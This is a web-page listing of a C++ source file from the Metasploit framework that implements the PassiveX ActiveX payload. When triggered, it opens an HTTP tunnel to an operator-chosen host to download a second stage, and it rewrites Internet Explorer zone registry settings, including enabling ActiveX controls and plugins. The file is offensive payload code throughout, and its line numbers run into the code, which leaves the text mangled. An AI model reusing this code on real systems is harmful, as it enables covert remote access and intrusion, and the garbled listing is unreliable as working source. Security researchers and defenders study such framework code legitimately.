Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/passivex/CPassiveX.cpp
Views: 11766
/*1* This file is part of the Metasploit Exploit Framework2* and is subject to the same licenses and copyrights as3* the rest of this package.4*/5#include "PassiveXLib.h"6#include "CPassiveX.h"78#ifdef PXDEBUG9static FILE *DebugFd = NULL;10#endif1112CPassiveX::CPassiveX()13: PropHttpPort(0)14{15}1617CPassiveX::~CPassiveX()18{19Tunnel.Stop();2021#ifdef PXDEBUG22if (DebugFd)23fclose(24DebugFd);25#endif26}2728STDMETHODIMP CPassiveX::InterfaceSupportsErrorInfo(REFIID riid)29{30if (::InlineIsEqualGUID(IID_IPassiveX, riid))31return S_OK;3233return S_FALSE;34}3536/**************37* Properties *38**************/3940HRESULT CPassiveX::get_HttpHost(BSTR *Host)41{42*Host = PropHttpHost;4344return S_OK;45}4647HRESULT CPassiveX::put_HttpHost(BSTR Host)48{49PropHttpHost = Host;5051return S_OK;52}5354HRESULT CPassiveX::get_HttpSid(BSTR *Sid)55{56*Sid = PropHttpSid;5758return S_OK;59}6061HRESULT CPassiveX::put_HttpSid(BSTR Sid)62{63PropHttpSid = Sid;6465return S_OK;66}6768HRESULT CPassiveX::get_HttpUriBase(BSTR *UriBase)69{70*UriBase = PropHttpUriBase;7172return S_OK;73}7475HRESULT CPassiveX::put_HttpUriBase(BSTR UriBase)76{77PropHttpUriBase = UriBase;7879return S_OK;80}8182HRESULT CPassiveX::get_HttpPort(ULONG *Port)83{84*Port = PropHttpPort;8586return S_OK;87}8889HRESULT CPassiveX::put_HttpPort(ULONG Port)90{91PropHttpPort = Port;9293return S_OK;94}9596HRESULT CPassiveX::get_DownloadSecondStage(ULONG *Port)97{98return S_OK;99}100101HRESULT CPassiveX::put_DownloadSecondStage(ULONG Port)102{103Initialize();104105return S_OK;106}107108#ifdef PXDEBUG109/*110* Logs a message to a file for debugging purposes111*/112VOID CPassiveX::Log(LPCTSTR fmt, ...)113{114// If we haven't opened the debug log yet...115if (!DebugFd)116{117TCHAR DebugFilePath[MAX_PATH];118119ZeroMemory(120DebugFilePath,121sizeof(DebugFilePath));122123ExpandEnvironmentStrings(124TEXT("%TEMP%\\PassiveX.log"),125DebugFilePath,126(sizeof(DebugFilePath) / sizeof(TCHAR)) - 1);127128// Try to open the debug log file129DebugFd = fopen(130DebugFilePath,131"a");132}133134// If we have a valid debug file descriptor...use it135if (DebugFd)136{137va_list Args;138139va_start(140Args,141fmt);142143#ifndef _UNICODE144vfprintf(145DebugFd,146fmt,147Args);148#else149// Lame...150{151USES_CONVERSION;152153LPCSTR AsciiString = OLE2A(fmt);154155vfprintf(156DebugFd,157AsciiString,158Args);159}160#endif161162va_end(163Args);164165fflush(166DebugFd);167}168}169#endif170171/*********************172* Protected Methods *173*********************/174175/*176* Restores internet explorer zone restrictions to defaults and creates the HTTP177* tunnel as necessary178*/179VOID CPassiveX::Initialize()180{181USES_CONVERSION;182183// If the HTTP port is valid, start the HTTP tunnel184if ((PropHttpHost) &&185(PropHttpPort))186{187Tunnel.Start(188OLE2A(PropHttpHost),189OLE2A(PropHttpUriBase),190OLE2A(PropHttpSid),191(USHORT)PropHttpPort);192}193194// Reset zone restrictions back to default195ResetExplorerZoneRestrictions();196}197198/*199* Resets the internet explorer zone restrictions back to their defaults such200* that people aren't left vulnerable201*/202VOID CPassiveX::ResetExplorerZoneRestrictions()203{204ULONG Value;205HKEY InternetZoneKey = NULL;206207// Open the internet zone208if (RegOpenKeyEx(209HKEY_CURRENT_USER,210TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3"),2110,212KEY_WRITE,213&InternetZoneKey) == ERROR_SUCCESS)214{215// Download unsigned ActiveX controls216Value = 3; // Disabled217218RegSetValueEx(219InternetZoneKey,220TEXT("1004"),2210,222REG_DWORD,223(LPBYTE)&Value,224sizeof(Value));225226RegSetValueEx(227InternetZoneKey,228TEXT("1201"),2290,230REG_DWORD,231(LPBYTE)&Value,232sizeof(Value));233234// Download signed ActiveX controls235Value = 1; // Prompt236237RegSetValueEx(238InternetZoneKey,239TEXT("1001"),2400,241REG_DWORD,242(LPBYTE)&Value,243sizeof(Value));244245// Run ActiveX controls and plugins246Value = 0; // Enabled247248RegSetValueEx(249InternetZoneKey,250TEXT("1200"),2510,252REG_DWORD,253(LPBYTE)&Value,254sizeof(Value));255256// Initialize and script ActiveX controls not marked as safe257RegCloseKey(258InternetZoneKey);259}260}261262263